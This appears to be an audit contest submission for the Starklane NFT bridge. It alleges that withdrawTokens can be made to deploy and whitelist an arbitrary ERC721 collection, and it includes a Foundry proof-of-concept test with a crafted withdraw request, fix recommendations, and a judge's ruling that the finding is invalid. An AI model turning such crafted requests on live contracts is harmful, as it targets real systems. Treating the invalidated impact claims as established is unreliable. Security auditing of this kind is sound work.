NFTBridge
60,000 USDC
View results
Submission Details
Severity: low
Invalid

Unauthorized Collection Deployment in Bridge Contract

Summary

The withdrawTokens function in the Starklane bridge contract allows an attacker to deploy and whitelist an arbitrary ERC721 collection on L1 by exploiting the collection deployment logic when no corresponding L1 collection exists for a given L2 collection.

Vulnerability Details

The vulnerability exists in the withdrawTokens function:

  • The function allows processing a request with an empty tokenIds array.

  • If collectionL1 is address(0), it deploys a new ERC721 collection using parameters from the request.

  • The newly deployed collection is automatically whitelisted.
    An attacker can craft a request with:

  • A non-existent L2 collection address

  • Empty tokenIds array

  • Arbitrary name and symbol

Impact

This allows the attacker to deploy and whitelist an arbitrary ERC721 collection on L1 without proper authorization.

  • Unauthorized Collection Deployment: An attacker can deploy arbitrary ERC721 collections on L1.

  • Whitelist Manipulation: These deployed collections are automatically whitelisted, potentially bypassing security checks.

  • Bridge Integrity Compromise: This could lead to a mismatch between L1 and L2 collections, compromising the bridge's integrity.

  • Potential for Further Exploits: The attacker-controlled L1 collection could be used for additional malicious activities.

function test_unauthorizedCollectionDeployment() public {
// Prepare a crafted withdraw request
felt252 header = Protocol.requestHeaderV1(CollectionType.ERC721, false, false);
Request memory req = Request({
header: header,
hash: 0x1,
collectionL1: address(0),
collectionL2: Cairo.snaddressWrap(0x123), // Non-existent L2 collection
ownerL1: address(this),
ownerL2: Cairo.snaddressWrap(0x456),
name: "Malicious Collection",
symbol: "MAL",
uri: "",
tokenIds: new uint256[](0), // Empty tokenIds array
tokenValues: new uint256[](0),
tokenURIs: new string[](0),
newOwners: new uint256[](0)
});
uint256[] memory reqSerialized = Protocol.requestSerialize(req);
bytes32 msgHash = computeMessageHashFromL2(reqSerialized);
// Simulate message from L2
uint256[] memory msgHashes = new uint256[](1);
msgHashes[0] = uint256(msgHash);
IStarknetMessagingLocal(snCore).addMessageHashesFromL2(msgHashes);
// Call withdrawTokens
address deployedCollection = IStarklane(bridge).withdrawTokens(reqSerialized);
// Verify that a new collection was deployed
assertNotEq(deployedCollection, address(0), "Collection should be deployed");
// Verify that the deployed collection is whitelisted
assertTrue(IStarklane(bridge).isWhiteListed(deployedCollection), "Deployed collection should be whitelisted");
// Verify collection details
assertEq(IERC721(deployedCollection).name(), "Malicious Collection", "Incorrect collection name");
assertEq(IERC721(deployedCollection).symbol(), "MAL", "Incorrect collection symbol");
}

Tools Used

Manual

Recommendations

Require Non-Empty Token IDs: Ensure that the tokenIds array is not empty in the withdrawTokens function.
solidityCopyrequire(req.tokenIds.length > 0, "Token IDs array cannot be empty");

Separate Collection Deployment: Move the collection deployment logic to a separate function that requires proper authorization (e.g., only callable by the contract owner or a trusted role).

Updates

Lead Judging Commences

n0kto Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

invalid-empty-tokenIds-starknet-side

No real impact. Attacker will have to pay the deployment of the new contract even with 0 token, and it won’t have any interest do to that since he won’t take the control of the contract.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.